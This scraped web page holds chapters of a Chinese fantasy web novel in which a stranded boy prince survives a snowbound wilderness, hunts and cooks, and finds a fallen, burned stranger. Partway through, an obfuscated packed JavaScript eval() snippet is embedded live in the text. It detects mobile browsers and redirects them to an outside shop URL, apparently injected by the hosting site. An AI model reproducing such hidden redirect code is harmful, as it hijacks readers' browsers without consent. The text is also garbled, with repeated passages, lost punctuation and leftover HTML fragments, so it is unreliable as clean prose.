【新的单元!这章发300个小红包,热烈欢迎大家陪伴可怜小孩度过荒野求生之旅(擦眼泪)】 巫曦:*快乐地驾车,快乐地行驶在天空上*我独自驾车,独自外出,去一个离家千里的别国,能有什么风险呢? 不知名的敌人:*突然出现*啊哈! 巫曦:*流落荒野,被雪狂砸*我独自赶路,独自用毯子把自己包成卷饼,能有什么风险呢? 不知名的妖兽:*突然出现*啊哈! 巫曦:*哭了,再也不会感到快乐* 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 外伤也慢慢化冻,火辣辣的疼痛,这会儿才迟钝地蔓延上大脑。 巫曦终于哭了起来。 这一个月来的害怕、焦虑、惊惧、疲劳、饥饿、痛苦……此刻全然化作眼泪,从眼眶里喷涌而出。他哇哇大哭了好一阵,直哭得涕泪交加,把整张脸都弄得湿漉漉,凉冰冰,他才抽噎着胡乱揩掉脸上的水痕,慢慢坐直身体。 “哭了、哭了这一次,就不能再哭了,”他一下一下地抽着气,严肃地告诫自己,“寻死觅活的,像什么样子!” 好容易平复心情,巫曦小心翼翼地解开身上的织物,往后背探手一摸。 好消息是,他的骨头没有断,坏消息是,挫伤有点严重。 先前,他卷走了所有能带的物资,包括云车上轻纱曼舞的窗帘,这时便派上用场了。巫曦把这些轻飘飘的鲛绡当做纱布,单手缠住自己的肩膀。接着,他咬牙使劲,把绷带绑紧,暂作固定。 他的手法干脆利落,带着与年龄不符的纯熟,盖因他的生母乃是药师国人,巫曦纵使不算耳濡目染,也在医药方面别有天赋。 他咽了咽喉咙,用指尖点起一簇灵火,环顾木屋的构造。 不出所料,非常简陋。 这座木屋应当是大雪还未覆盖到这里时,上山的樵夫搭建的,只是所用的建材坚韧不凡,才能支撑到现在。屋子里的空气古旧,带着股异样的酸味儿,一张垒实的木床,就占据了木屋一半的面积,床上尽是腐烂的茅草棉絮,还有一堆褴褛粗布。 旁边是架一人多高的木柜,巫曦一瘸一拐地走过去看,上面倒是撂着两个瓷碗,一枚瓷盘,一些零散的餐具,右侧放着剪刀、锉刀和凿子,最下面堆着一口陶锅,一个瓦罐,一个陈旧的木桶,并一个生火的锅架。 意外之喜,用具还算齐全。 巫曦转过脸,看见另一边支着张小桌子,桌上一盏蜡油干枯的小灯,下面是三条腿的小圆板凳,墙角还立着把铲子。 这些用具,再加上一堆布料,以及十三岁生日时大妃赠予的匕首,便是巫曦此刻全部的财产了。 不算很好,可是,也不算太糟糕。 巫曦又累又饿,他来不及思索究竟是谁害了自己,更没有力气再挪动一步,去外面寻找水和食物。他把木床上的烂草和破布全都扫到地下,不管怎么说,这些天来,他首次找到了一个安稳的港湾,一张可以任意躺下,而不用担心酷寒与掠食者的床铺。 屋外狂风萧索,大雪翻飞,屋内寂然无声,巫曦一头栽倒在坚硬的床板上,裹着御寒的布帛,顷刻间就睡死了过去。 作者有话要说 【新的单元!这章发300个小红包,热烈欢迎大家陪伴可怜小孩度过荒野求生之旅(擦眼泪)】 巫曦:*快乐地驾车,快乐地行驶在天空上*我独自驾车,独自外出,去一个离家千里的别国,能有什么风险呢? 不知名的敌人:*突然出现*啊哈! 巫曦:*流落荒野,被雪狂砸*我独自赶路,独自用毯子把自己包成卷饼,能有什么风险呢? 不知名的妖兽:*突然出现*啊哈! 巫曦:*哭了,再也不会感到快乐* 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 外伤也慢慢化冻,火辣辣的疼痛,这会儿才迟钝地蔓延上大脑。 巫曦终于哭了起来。 这一个月来的害怕、焦虑、惊惧、疲劳、饥饿、痛苦……此刻全然化作眼泪,从眼眶里喷涌而出。他哇哇大哭了好一阵,直哭得涕泪交加,把整张脸都弄得湿漉漉,凉冰冰,他才抽噎着胡乱揩掉脸上的水痕,慢慢坐直身体。 “哭了、哭了这一次,就不能再哭了,”他一下一下地抽着气,严肃地告诫自己,“寻死觅活的,像什么样子!” 好容易平复心情,巫曦小心翼翼地解开身上的织物,往后背探手一摸。 好消息是,他的骨头没有断,坏消息是,挫伤有点严重。 先前,他卷走了所有能带的物资,包括云车上轻纱曼舞的窗帘,这时便派上用场了。巫曦把这些轻飘飘的鲛绡当做纱布,单手缠住自己的肩膀。接着,他咬牙使劲,把绷带绑紧,暂作固定。 他的手法干脆利落,带着与年龄不符的纯熟,盖因他的生母乃是药师国人,巫曦纵使不算耳濡目染,也在医药方面别有天赋。 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现在,他真的成了流落大荒的独行客,巫曦抽动着嘴角,却发现实在很难笑出来。 现在清醒过来,他还是不知道谁要害自己。毕竟,他只是王室里一个最不受重视的小儿子,父亲不爱,母亲远走,又能对谁产生什么威胁呢? 巫曦委实百思不得其解,但他性格开朗,天性活泼,很有乐天派的风范,既然想不明白,索性就先抛开不想,还是先思索一下要怎么填饱肚子,在大荒里站稳脚跟才好。 而且,我已经在这里有房了!巫曦兴致勃勃地想,大难不死,必有后福。 摆脱了一开始的失落情绪,巫曦非常务实,自小在宫廷的生活,后天人为地培养出了他的另一个性格:自怨自艾的遐想毫无用处,只有脚踏实地,把当下紧紧抓在自己手里,才是最重要的事。 我已经大半个月没有吃饭了……他噘嘴,不满地摸摸肚子,我必须去找吃的。 神人成年之后,在口腹之欲上就能轻纵许多。有三年都不需要进餐的神人,也有一月定期食用一餐的神人,但不管怎么说,巫曦的年纪太小,又有药师国的血统,在医药饮食上总要比其他人更多留心,每天还是得吃饭才行。 他摸摸后背的伤,一觉过去,虽然还肿得厉害,伤处已经开始痊愈。巫曦放下心来,小心翼翼地推门。 推不动。 屋外的雪堆又重又厚,巫曦使劲儿推搡,才勉力挤开一条缝。 寒气扑面而来,淡淡的金光同时激发出去,将这股严寒挡在门框的范围之外。 巫曦急忙伸出一只手,聚精会神,在掌心点燃灵火,在门板处来回晃荡,融化的雪水滴滴答答,没一会儿就挂成了冰,噼里啪啦地砸在更下方的雪堆里。 这样太慢了,什么时候才能开辟出一条路? 好在覆盖到屋顶的雪都是新下的,还算比较松软。巫曦想了想,重新回到室内,抓起墙角的铲子,用灵 火把全身熏得暖烘烘像块小木炭再挤出门外开始狠狠地铲雪。 神人大多身强力壮敏捷矫健巫曦自然也不例外。尽管很快就被融化的雪水打湿了但他不管这个一心一意地挥铲很快挖出一个厚厚的雪洞。他再把四周松散的雪块抹成凝结的冰壳房门顶的雪巫曦现在还够不到只好踮着脚尖用铲子一点点地推上去。 他准备挖一个雪下隧道如果规划得好以后只要一推开门就可以从地道毫不费力地钻出雪地万一被妖兽发现还可以呲溜一屁股滑回门口非常方便。 巫曦激发灵火铲得浑身冒汗四周又是封闭的空间热气更腾腾地往上涌他铲一会儿自己累得气喘吁吁细嫩的十指也磨得火烧火燎。 实在渴了巫曦毫无形象地坐在门口把手插在雪里冰镇一会儿又顺带抠下一块雪当成馒头一样咬着吃。 “吃外面的雪小心生病啦。”他自言自语地说在对话里扮演了两个角色一个苦口婆心的医生一个仰着鼻子的大神人“什么才不会呢!我可是神人神人是不会得病的!” “哎哟恕老朽眼拙没有看出您的身份……” “哈哈大人有大量就饶过你这一回啦!” 自娱自乐地演了一阵巫曦咯咯嘎嘎地傻乐半天还是叹了口气忍着饥饿爬起来继续干活。 他花了一个白天半个夜晚的时间铲出一条可供一人通过的地道再用灵火炙烤四壁令雪化了再冻凝成坚固的冰层。 地道呈上扬的形状铺出去大约十米的距离 “这样就会很结实了!”他叉着腰高高兴兴地宣布“我就是挖洞小天才!” 看着自己忙碌了一整天的成果巫曦乐不可支兴冲冲地跑到木门边开门——关门——开门玩了半天。 没有积雪的阻挡房门开得十分顺畅他一推门映入眼帘的就是一条幽深剔透的通道安心感就更足了。 回到屋内巫曦全身湿淋淋他打了个喷嚏又学着宫苑里小狗的样子使劲甩甩头发甩甩身上的水。 看来今天还是吃不上饭…… 一闲下来他的肚皮又咕噜噜叫个不停巫曦垮着个脸唉声叹气地铺床侧身躺在上面。 灵火熄灭之后满屋子黑洞洞的不过今日把木屋敞开了一天这会儿房间里都是新鲜清新的雪水味道潮乎乎的还带点甜丝丝的 感觉。 巫曦摸了摸肩膀上的伤,铲了一天的雪,他的十指和掌心也磨破了一圈,燎起许多火辣辣的水泡,他胡乱吹吹,并不放在心上。 神人的恢复能力可是很强的,他想,我身强体健,什么都不怕! 就这样,巫曦一边自豪,一边饿肚子,逐渐沉沉地睡着了。 翌日,屋外风雪渐小,巫曦疲惫地睁开眼睛。 好累,完全不想动…… 说不怀念以前那种衣来张手,饭来张口的日子,那就是在撒谎。尽管肩膀上的伤已经不算很疼,十指的水泡也消得不见踪影,可是,昨天的埋头苦干彻底耗光了他的力气,巫曦真想就这么一头睡过去算了。 不行……! 他强打精神,用力揉眼睛。 我要吃饭,再不吃饭我就饿死了,我要吃饭! 他挣扎着爬起来,穿好鞋袜,将衣服裹得严严实实。他身上所穿,脚下所踩,皆是西陵国的缫丝匠人亲手所织,水泼不进,火烧不侵,凡尘纤毫不染。他珍惜地在外袍上爱抚了两把,再包上毯子,背着铲子,把匕首挂在腰间。 巫曦逼自己从气温宜人的屋内走到寒意逼人的室外,就这样出发了。 走在地道上,他仰头欣赏昨日的劳动成果,心里十分得意。 肚子又叫了起来。 “哎哟。”他愁眉苦脸地揉了揉腹部。 忍着过度的饥饿,小小的神人用毯子裹住脸,钻出地道,露出半个身子在雪面上,探出鼻子嗅嗅。 食物……食物……食物在哪儿? 啊,闻到了! 巫曦眼睛一亮,今日运气好,外边几乎不没有刮风了,在寒意刺骨的雪尘里,他闻到了一股新鲜的,腥哄哄的……山羊味儿? 雪壳脆硬,巫曦循着味道,踉踉跄跄地在上面奔走。药师国的神人觉醒天赋之后,人人都是药到病除的神医,甚至可以活死人,肉白骨,巫曦没能继承到母亲的能力,可他对药食的感知能力没有荒废,还能靠鼻子闻见很多东西。 风中传来越发浓郁的羊毛膻味,巫曦走出一里多地,眼前便豁然开朗——下方已经被雪原中的鸟兽踩踏得凹陷,一群悠闲的五角羊正在里面刨雪啃地,趁着难得的晴天出来找食吃。 羊肉! 巫曦的腮帮子发酸,一想到今天可能吃得到羊肉,就饿得胃和食道都绷紧了。 他趴在高地上,仔细地观察这群五角羊。 顾名思义,这些灵物头生五角,性情机警,浑身皮毛厚重,更兼四蹄宽大有力, 才能在雪原上日夜奔跑,躲避天敌的追击。以它们在雪原上的速度,巫曦只有一次机会,要是突袭落空,那么他就只能干看着羊群逃跑的背影流口水了。 巫曦故技重施,鬼鬼祟祟地咕涌下去,把自己埋在雪地里,慢慢地向羊群推进。 跟随羊群一起觅食的,还有一群毛色雪白,鸟喙鲜黄的禽鸟,巫曦一定要特别小心,方能不惊动它们。好在晴天难得,这会儿,动物们全在抓紧时间填饱肚子,对远方的窸窣异动并不是很上心。 巫曦慢慢挨近,动一下,停三下。当他挨近到五百米左右的时候,领头羊嚼着不知名的草籽,警觉地抬起头四顾。 哦哦,不好。 巫曦急忙屏住呼吸,一动不动地把自己埋进雪堆,明明置身于寒冷松软的雪里,他的手心都在微微出汗。 领头羊观察了一阵,没发现什么异样,继续低头,在厚厚的积雪中寻找食物。 嘿嘿,好。 巫曦觉得是时候了,他谨慎地,缓慢地隆起身体,用手指在雪上点出一个小洞,借此观察羊群的动静,挑选目标。 他知道不贪大,不贪多的道理,于是,他一眼相中了羊群末尾那只半大的青少年羊。没有成年,意味着应对天敌的经验不够多,也意味着毛皮的厚度和反应能力都不足。 他的手掌中,已经缓慢地凝聚起一支金光灿灿的灵火小箭。 巫曦极力压制着滚滚的热力,不让它融化周围的雪,以免冒起蒸汽,吓得羊群逃跑。 “去! 极短促的一声指令,金箭飙射而出,犹如一道转瞬即逝的断线,在那只半大羊低头吃草的瞬间,从耳孔的位置猝然洞穿,继而在另一头喷出一簇腾腾的热血。 猎物“砰地倒地,羊群一片哗然,禽鸟惊飞,这群五角羊慌张大叫着,四蹄翻搅雪粉,瞬间逃得不见踪影,只剩下地上的那只。 巫曦拍着手,欣喜地大叫:“中了!中了! 他跳起来,手脚并用地滚过去,来回检查着自己的猎物。气候严寒,羊头上灼烧的血孔已经渐渐地凝结起来,巫曦兴高采烈,又暗暗头疼。五角羊体型庞大,这头半大的羊的份量和成年人相当,即便是他,也没力气把它扛回去。 他想了下,先将死羊拖到背风处,在地上挖了一个雪坑,然后一下从腰间拔出锃亮的刀子,一刀破进羊肚,“唰啦 这把匕首是他的爱物,锋刃削铁如泥,切金断玉。霎时间,一大泼热腾腾的五脏肠肚就团着淌到巫曦脚边,散发出极新鲜 刺鼻的血味。 羊胃羊肠里都是没消化完的食物,没必要留下,巫曦急忙弯腰割掉羊心羊肝,提溜到旁边,再快速地把剩下的内脏一股脑地推进雪坑里,几铲子埋上,将上面的雪压得严严实实。 肠肠肚肚的味道尤其大,野外又不安定,一定要赶紧处理。 巫曦紧张得手心发汗,他一边手忙脚乱地分解羊肉,一边留神着周围的动静,尤其在天色好的时候,周遭觅食的野兽妖物不少,他必然要格外注意。 他咬着牙,发力分割着毡成一片的厚重羊皮,赤红的羊血溅在他雪白的脸蛋上,他也不以为意,随手一抹,倒把双颊染得红彤彤的。 仓促地剥离了羊皮,巫曦双手抓着,使劲把它甩出去,接着开始分羊肉。 刀尖行云流水地切进羊的第四根肋骨,骨肉分离的脆响中,他干脆地劈断筋膜,撬开关节。巫曦取下羊肩,将它放到一边,接着连贯地卸下四条羊腿,垒在扇形的羊肋排上,最后,他两刀剁下羊头,照样提着羊角,让它和羊皮待在一起。 差不多了! 巫曦累得直吐舌头,哈出的白雾模糊了视线。他知道,这个地方不宜久留,于是,他先取出前几天分割的一捆布带,将两条羊腿五花大绑,背在肩上。 “走着……! 他扛起两条羊腿,自己也抡起两条腿,拼命在雪原上跋涉。 巫曦的心跳得飞快,未知的危险随处潜伏,他也不知道,会不会下一秒就有妖兽被血味吸引到这里,再对自己展开一轮追杀。 他跑得上气不接下气,紧赶慢赶,终于看到了那个小小的雪丘,还有地上翻松的一块豁口。 顾不得那么多,他猛地往豁口处一跳,“呲溜滑下地道,直到脚蹬着门板,巫曦才算松一口气。 他安全了。 卸下羊腿,巫曦疲惫地坐在地上,喘了好一阵。 他不能松懈,因为那边还有许多余料,再拖延下去,肯定会别的野兽叼走的。 短暂的休息过后,巫曦支起身体,重新上路。 第二次,第三次搬运,巫曦将剩下的羊腿,一扇肋排扛在肩上,忍着不适,像个笨拙的小乌龟,骨碌碌地滚到了家门口。 他心满意足,把这些也埋在隧道旁边,雪原就像一个全天然的大冰窖,一点儿也不用担心食物腐坏的问题。 第四次出发,巫曦准备把第二扇肋排并着羊心和羊肝一块带走,只是这一次,他却来晚了。远远望去,三只虎爪雕已经在天空徘徊不去,发出尖利的咆哮声。 糟糕。 巫曦不敢跟它们硬碰硬,等到这些凶禽高飞远走之后,他的肋排,羊心羊肝,包括远处的羊皮和羊头,还有已经埋到雪坑里的肠肚肺腑,全被虎爪雕一把子掠夺走,地上只剩下血淋淋的一片狼藉。 ……算了算了!好歹把半只羊都运回去了,也不算太亏,损失的程度,还在可接受的范围内。 这么想着,巫曦还不死心,又想起先前羊群在地上来回翻找,嘴里嚼着什么。脑子一转,他也跑到先前羊群觅食的地方,用铲子挖开下面的雪堆,仔细搜索了起来。 巫曦:“咦? 这是什么? 铲掉上面的雪,地上冒出的,是一些枯细的枝丫,枝头吊着些圆鼓鼓的小颗粒,日光一照,呈现出深青的颜色。 巫曦嗅了嗅,很好,没有毒,那尝尝。 他摘下一颗,丢进嘴里,嚼嚼嚼。 巫曦:“呃呜! 又辣又麻,舌头都要掉啦! 他急忙呸呸呸地吐掉,明明只吃了一颗,他的口腔已然热辣辣的,浓烈的味道直涌上头,让他一个劲儿地吸溜鼻涕。 巫曦盯着这些圆滚滚的小果实,面上逐渐升起惊喜的神色。 “秦椒!他已经认出了这种植物,“不会错的,就是秦椒! 发现了这一味又能入药,又能当调味料的宝贝,巫曦马上又笑逐颜开,高兴地乱扭起来了。 他顾不得寒冷,赶紧把最外层的毯子解下来,铺在地上,大把大把地择秦椒果实。一块地揪空了,巫曦还在更下层的雪里翻出许多冻得晶莹剔透的玉菇子。 这种菌菇与秦椒伴生,虽然味美,可是拥有强烈的致幻能力,在这种荒郊野岭的地方,要是误食了玉菇子,那可真跟自杀没什么两样。不过,巫曦当然知道要怎么吃它们了。 巫曦抓在雪地里,冻得十指快没有知觉,可是,今天的收获实在太多、太大,就是把指头都冻掉,又怎么停得下来? 他摘了能见到的秦椒,又把下面伴生的玉菇子掐了一半,汇聚成鼓鼓囊囊的一个包裹,扛在肩上。又想起家里没有柴火,遂把秦椒的枯枝别了一堆,拖上身后。 “回家啦!巫曦意气风发,快乐地吆喝。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038198|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>一钻进木屋,巫曦忙忙碌碌的,准备做饭。 他先把餐具和锅碗瓢盆洗了两三遍,洗完还嫌不干净,又拿灵火烧了一通,把陶锅陶罐擦得油光发亮,瓷碗也亮得反光,才另填了干净的雪,提回去备用。 接着支起生火架,放好 陶罐,把枯枝折成一段段的。巫曦先捡了两根粗细适中的木棍,坐在一旁削磨成趁手的筷子,然后在掌心搓出一捧灵火,吹到木材上慢慢烧着。 烧水的功夫,巫曦把那些秦椒和玉菇子统统倒进桶,用雪水洗菜。 他泡开玉菇子上凝结的冰壳,再洗掉秦椒的深青色外皮,洗了两遍,放到一边备用。等洗好菜,陶罐里的水也烧开了。 巫曦匆匆忙忙地转身,先撒了三把秦椒,没一会儿,辛辣的椒香就飘了上来,他数着时间,过了半刻,再放上满满一层玉菇子,让鲜菌在里头煮着。 我的步骤应该没错吧……? 巫曦做的一切,都在照葫芦画瓢地模仿王宫里的庖厨宫人,他自己哪里做过这些活儿呢? 不过,巫曦心中十分高兴,因为哪怕他之前从未下过厨房,此刻做起事来都有模有样的,像极了正儿八经的药师国后裔。打心眼里,他觉得自己真是个了不起的神人。 煮汤的空档,他再去外头割了一溜羊肋排进来,利落地剁成小块,接着去地上舀一桶雪,就这么搓洗上头的血水。洗完之后,再用秦椒挨个擦拭羊肉块,一直擦到鲜肉表面有浓烈的气味,再放于一旁静置。 巫曦累得够呛,去床上躺了片刻,休养生息。估摸着火候差不多了,巫曦下床揭盖,一些香美的热气顿时呼呼地冒出来,扑在他脸上。 他喜滋滋地搅动餐勺,迫不及待地吹凉,尝了一口汤。 刹那间,三垣四象二十八宿,北斗南斗五行天星……全在他的大脑里梦幻地飞旋起来,散成漫天的烟花。 呜,太好喝了! 可能是饿了太久,可能是太长时间没有吃上一口热饭,菌菇的鲜美搭配着麻麻辣辣的椒香,简直可以直冲到人的天灵盖上,直冲得人飘飘欲仙,可以在房间里上下翻飞。 巫曦吸吸鼻子,只觉得浑身舒坦,暖意从胃里散发出去,一路蔓延到手指尖。他忍不住喝了一勺,又喝一勺。 嗯,再喝一勺。 ……好了不能喝光了!他赶紧强忍着食欲,把简单腌过的羊肉块往里一倒,再添冷水煮沸。 等待的过程实在焦心,巫曦又实在闲得无聊,于是在旁边学着本国那些大祭司的样子,围着锅就开始扭动、摇摆,神神鬼鬼地乱舞。 啊啊,羊肉锅啊,我命令你快快煮熟吧,啊啊…… 结果跳了没几圈,就把自己绕得头晕眼花,瘫倒在床上动弹不得。 陶罐被水汽顶得咕咚作响,巫曦百无聊赖,本来都快睡着了,又叫这声音 惊醒即刻爬起来揭开盖子用木勺撇掉上头的油脂浮沫让汤色恢复清爽之后将半碗凉雪水砸下去继续盖上盖子。 砸凉水的方法还是他跟长留的厨娘学的。巫曦在药食上很有天赋会吃又会玩王宫的一些仆役特别喜欢他。有许多次在他被长留王狠批痛骂之后司膳总会偷偷在晚饭里加一道丹木玉膏往上面撒些五彩缤纷的果丝哄他开心。 想到这里巫曦不由怅然。 思乡的情绪漫上心头他郁郁寡欢地盯着面前简陋的陶罐神思不属地重复了四次“撇沫子——砸凉水”的步骤第五次揭开来看羊肉汤已经煮成了醇厚香浓的奶白色。他下意识抓了几颗秦椒最后洒在上面提味。 这真是一锅完美的羊肉汤啊! 巫曦急忙把愁绪抓成一个小揪儿远远地扔开。 不能带着愁苦的情绪吃饭那是对自己劳动成果的不尊重。 羊肉烫而嫩用筷子一戳就颤颤地从骨头上脱落了一定需要碗接着才行。巫曦撇开秦椒舀了两块羊肉一勺嫩滑的玉菇子并一大碗白汤辛辣的香热之气直往上涌。 屋子里被煮得温暖如春巫曦脱了外袍转着圈地吹凉看差不多了他先夹起一块羊肉丢进嘴里哈嘶哈嘶地喘着气。 好香! 羊肉鲜爽味美半大山羊的肉仿佛还带着一腔充足的血气混合着秦椒的呛辣吃得人心头滚热汗珠子直往外迸。巫曦才不管什么礼法仪态只顾痛痛快快稀里呼噜地大嚼大咽。 他囫囵吞了两块羊肉把羊排里的髓也用一口长气嗦干净然后大筷子夹菌菇吃玉菇子本就嫩滑如今和羊肉在一起煮久了更加入味他咯吱咯吱地吃净碗里的再一口一口地喝进羊汤。 此时天色已晚四下里又刮起尖锐的长风卷着越下越密的鹅毛大雪。而他坐在暖暖和和的木屋里一边调小了火候一边咽下浓郁醇厚的羊肉汤。火光将屋内照得昏黄枯柴噼啪作响锅里的肉菜还在咕嘟嘟地翻滚。 这真是天选的时刻在这个傍晚袭击的阴谋思乡的惆怅对前路的担忧……一切都距离巫曦那么遥远。风雪中他的世界静谧无声只有这间木屋这口冒着热气的小锅 巫曦心无旁骛歪着头专注地吃光了所有的羊肉再喝光了一罐羊汤。最后他吃得满身大汗肚皮滚圆昏昏欲睡地栽倒在床上。 “我就是做饭小天才!”对着屋顶他大声 宣布。 然后又想起了什么,巫曦连忙将双手合十,虔诚地说:“谢谢你,美味的羊!我保证不会浪费,会好好把你吃掉的!” 夜深了,他熄灭灵火,将剩下的焦柴拢到一边,饱腹身暖,睡得又香又沉。 从这天起,巫曦在大荒雪原的求生之路,逐渐步入正轨。 他给自己定下规矩,一天只能吃一顿饭。为了寻找更多雪下掩埋的食材或者药材,他划分界限,在方圆三里的范围内缓慢地搜索。 第一天没什么收获,巫曦并不气馁,回来煮了椒排汤,填饱肚子继续出发。 第二天还是没找到可食用的,不仅一无所获,他还被一只成年土蝼发现了,险些被追杀得没了小命。最后,巫曦钻进地道才得以脱身,饶是如此,那只大土蝼还是踩塌了半截地道,还差点发现他埋在深雪里的羊排羊腿,吓得他心脏狂跳,咬着手指头,在木屋里缩了三天才敢出门。 但到了第六天,啊哈!否极泰来,巫曦在距离那片凹陷不远的地方,发现了许多刚刚冒头的薯蓣。 薯蓣呈笔直的棍棒形状,味道芳香甘甜,咀嚼起来清脆爽口,微微发粘。巫曦挖得手都酸了,最终满载而归,晚上就搭起陶锅,用雪水蒸薯蓣吃。 暂时有了稳定的食物来源,巫曦晚上也睡得更安稳。在木屋后面,他挖出一个新的冰窖,与木屋的外墙紧紧贴合,这样,守生的能力也可以覆盖到这个小冰窟里。他在里面存放羊肉和薯蓣,再到角落里堆满秦椒和玉菇子,如此一来,这个小小的储藏室就初具雏形了。 三周后的夜晚,巫曦正睡得香甜。 毫无征兆的,外面猝然传来一声极喑哑的鸣叫,戾气十足地划过苍穹,庞大的灵压犹如灭顶巨峦,镇得周遭数百里的恶兽妖魔纷纷逃窜,不敢久留。 片刻过去,又是一声轰然巨响,仿佛流星天降,砸得大地撼动不休,簌簌颤抖。 巫曦:“?” 巫曦一下惊醒,睡眼惺忪,头发蓬乱地从床上坐起来,困惑道:“鸟叫?” 作者有话要说 【这么多字!已经燃尽了!化作雪白的……灰……(吐泡沫)】 第 35 章 净琉璃之国(三) 巫曦还不知道外头发生了什么。 小孩儿觉多,他强撑着眯了半晌总觉得外头噪声阵阵吵得人不得安宁遂踩上鞋子,裹着毯子,奇怪地推门一看—— “啊!我的地道,我多灾多难的地道啊!” 巫曦真是要哭了守生的阵法仍在运转,木屋和底下的小冰窖都没事儿只有他前些日子才修补过的地道被方才那阵冲击掀得无影无踪。 不光是地道门前没过屋顶的雪层以及周边一百多里的积雪全被烧得塌陷下去有的地方甚至露出了光秃秃的山岩残余的黑紫火炎在上头跳动。蒸发的大量水雾熊熊地向夜空翻卷,与火光交缠,将周边映得如同紫昼。 他就像一只被铲掉了窝顶的鼹鼠,茫然且无措地爬上了地面。 好热……! 巫曦没见过这样的阵仗他睁大眼睛深吸了一口气,刚想说话,就被吸进去的蒸汽呛得咳嗽起来。 “哎我真的……咳!咳咳!我真……咳!” 他用力挥手驱散那些缭绕的云雾,只是收效甚微,最后,巫曦恼火地挥舞双臂,呼扇着毯子,变身扑棱大蛾一路走一路扇总算扇出条出路。 脚下的碎石簌簌滚落巫曦停住步伐震撼地看着下方的景象。 大荒的每一片落雪都是冬神玄冥逐渐裂解的身躯是以纷飞万年也不见消弭更没有外力能够遏制。然而这一刻巫曦所见所闻完全击穿了他从小的认知。 ——恢宏的天坑碾平了数座大大小小的山峰也将那些沉积万年的皓雪以及雪下掩埋的世界一同碾平。黑紫色的火炎四下遍布戾气十足地熊熊燃烧直烤得空气扭曲跳动发出不尽的细小尖啸。 这到底是什么…… 巫曦难以置信地瞪圆了眼睛瞄到天坑的正中心 他在“哎哟我还是快跑吧”和“不行这是怎么个事儿啊我一定得下去看明白”的念头中左右为难最后终究是年少心性好奇压倒了对危险的避让之情巫曦决定下去探个究竟。 周围的温度已经烤得他开始冒汗了他把毯子抓在手里避开到处焚烧的火炎小心翼翼地朝着天坑中央跋涉过去。 就在他朝着目标东倒西歪深一脚浅一脚地接近过去时云端上妖风阵阵黑云如鳞无数双非人的眼睛正紧紧地盯着地面的任何异动。 “那就是金曜大雪山丢下来的小崽儿……” “现在人家自成一派了!管自个儿的洞府叫业摩 宫,你待如何?敢招惹吗? “不待如何,凭他是什么天资纵横的好出身,最后还不是被那些大雪山上的孔雀视若草芥,拿了神光降伏在此处? “别说了,快看!神人的小崽子莽过去了! 漫天议论纷纷的妖物顿时住嘴,饶有兴致地张望着下面那个小小的身影。 大荒的消息总是传递得很快,雪原上住了个落难的小神人的消息,早就传遍了附近的耳朵,只是这个小神人出自长留国,乃是帝少昊的稀薄血脉,既有“守生 方今,看到他不知死活地走近了天坑中心,许多妖物抑制不住幸灾乐祸之情,乘着风云,噗嗤笑出了声。 “这头黑孔雀生下来便五蕴阴魔缠身,五感失衡,打娘胎里带的毛病……那五蕴毒火极其厉害,不知道神人碰了会怎么样? “能吱儿一下化成灰,就是小崽子的造化喽。 “来来来,让咱们也听听神人是怎么叫唤的! 很明显,黑孔雀一头栽下来的时候,就已经有妖兽耐不住诱惑,准备趁对方身受重伤的绝佳时机,来个囫囵一口吞。可惜,只要沾上一点黑紫的火焰,要么自断肢体逃生,要么被活活烧死,状况极其惨烈。 五蕴囊括了色、受、想、行、识,黑孔雀阴魔缠身,他的灵火自然也阴毒无比,能使有情众生受种种障害。大荒上的妖物天生喜杀伐,个个孽业冲天,六欲具足,怎么耐得住这把火烧? 是以此时,看到那个天真懵懂的小神人走到了五蕴毒火当中,妖兽们都等着要看他惨烈的下场。 巫曦无知无觉,他卷着毯子,已经慢慢接近了那块焦炭。 冷不防没注意,毯子的一角垂落在地,拂过一丛黑火,巫曦低头一看,顿时急得跳脚。 “我的毯子!他痛心无比,速速卷起毯子吹吹拍拍,这可是他现在唯一御寒的宝贝啊! 但是……嗯? 巫曦皱着眉头,定睛一瞧,明明碰到了火焰的,可为什么毯子一点烧过的痕迹都没有呢?虽说缫丝匠人的手艺,能使织出的布料水火不侵,可地上的明显不是凡火,而是更具威力的灵火啊。 难道,我的毯子生出灵智,自行进化了? 巫曦更加困惑,他看了下毛毯,又看了下地上跳跃的,看似十分凶残的黑紫色火焰。 他挠挠头,小心地伸出一根食指,点了下。 委实是初生牛犊不怕虎! 天上围观的妖兽都被他镇住了,它们避之不及的五蕴毒火,这个孱弱的幼小神人怎么敢主动用手指触碰? 多如繁星的眼睛牢牢注视他,看着他接下来的一举一动。 巫曦大叫一声:“哎哟!” 众妖赶忙睁圆眼睛。 怎么了?烧起来了?疼得快死了?马上要变成灰了? 巫曦大叫一声:“好饿!” 众妖:“?” 实在古怪,触碰到火焰的一瞬间,巫曦并没有感觉到疼痛,他的手指像是被气吹了一下,紧接着,这股气灵活地钻进身体,在他的四肢百骸中游走,最后停留在了他的肚皮里头。 再接着,巫曦一下感到烧心的饥饿,从腹部翻腾起来。他的肚子“咕噜”直响,唾液也快速分泌,浸得腮帮子发酸。 好难受。 这下,他可知道厉害了,忙不迭地从火堆边跳开,有点委屈。 “坏东西。”他小声嘟哝。 天空上,妖物面面相觑,简直不敢相信自己亲眼所见的事实。 “……竟是赤子心性?” “呸!帝少昊的血脉,谁知道继承了什么玄奥秘法,就算能扛住五蕴毒火,也是情理之中的事。” “且看他接下来要做什么?” 巫曦跳过火焰,在那块不成人形的焦炭面前蹲下,换了根手指,继续戳戳。 “还活着吗?”他自言自语地喃喃,想了想,不顾滚烫灼手的热量,在上头胡乱撬了几下。 炭块接连掉落,依稀露出一点苍白的皮肤,再是对方斑驳的面庞。 单看样貌,伤员的年纪似乎比巫曦大一点,长眉入鬓,紧闭的双眼下各自点着一粒小痣,像是生来就带着的泪痕。 这是一张少年时就漂亮得摄人心魄的脸,但巫曦在意的却不是这个,他惊喜地说:“哈,你也有痣啊!” 